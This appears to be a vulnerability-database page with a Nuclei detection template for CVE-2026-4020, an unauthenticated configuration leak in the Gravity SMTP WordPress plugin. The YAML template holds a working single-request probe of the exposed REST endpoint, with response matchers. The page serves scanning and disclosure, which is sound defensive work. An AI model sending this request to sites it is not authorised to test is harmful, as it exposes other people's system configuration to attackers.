Gravity SMTP WordPress Plugin - Sensitive Information Exposure
CVE-2026-4020
Verified
Description
Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.
Severity
High
CVSS Score
7.5
Exploit Probability
14%
Affected Product
gravitysmtp
Published Date
March 31, 2026
Template Author
theamanrawat
CVE-2026-4020.yaml
id: CVE-2026-4020
info:
name: Gravity SMTP WordPress Plugin - Sensitive Information Exposure
author: theamanrawat
severity: high
description: |
Gravity SMTP WordPress plugin <= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.
impact: |
Unauthenticated attackers can access detailed system and configuration data, potentially aiding further attacks or information leakage.
remediation: |
Update to the latest version beyond 2.1.4.
reference:
- https://patchstack.com/database/vulnerability/wordpress-gravity-smtp-plugin-2-1-4-unauthenticated-sensitive-information-exposure-via-rest-api-vulnerability
- https://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2026-4020
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-200
cve-id: CVE-2026-4020
epss-score: 0.13532
epss-percentile: 0.94313
metadata:
max-request: 1
verified: true
vendor: rocketgenius
product: gravitysmtp
framework: wordpress
tags: cve,cve2026,exposure,wordpress,wp-plugin,gravitysmtp,wp,unauthenticated,vkev
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/gravitysmtp/v1/tests/mock-data?page=gravitysmtp-settings"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "gravitysmtp_admin_config"
- "system_report_clipboard"
- "feature_flags"
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100c3baab896c8688615735bddb6ef150d24426fd732f7593594b9ed6ed162ea1d6022100c727f3dcece01680c9fe6d4e39ff4cad75638dbc6861da0e67b8f097f2215a02:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-4020
CWE ID:
cwe-200
References
https://patchstack.com/database/vulnerability/wordpress-gravity-smtp-plugin-2-1-4-unauthenticated-sensitive-information-exposure-via-rest-api-vulnerabilityhttps://www.wordfence.com/threat-intel/vulnerabilities/id/12a296db-ecc0-409b-8718-0c208504053a?source=cvehttps://nvd.nist.gov/vuln/detail/CVE-2026-4020
Remediation Steps
Update to the latest version beyond 2.1.4.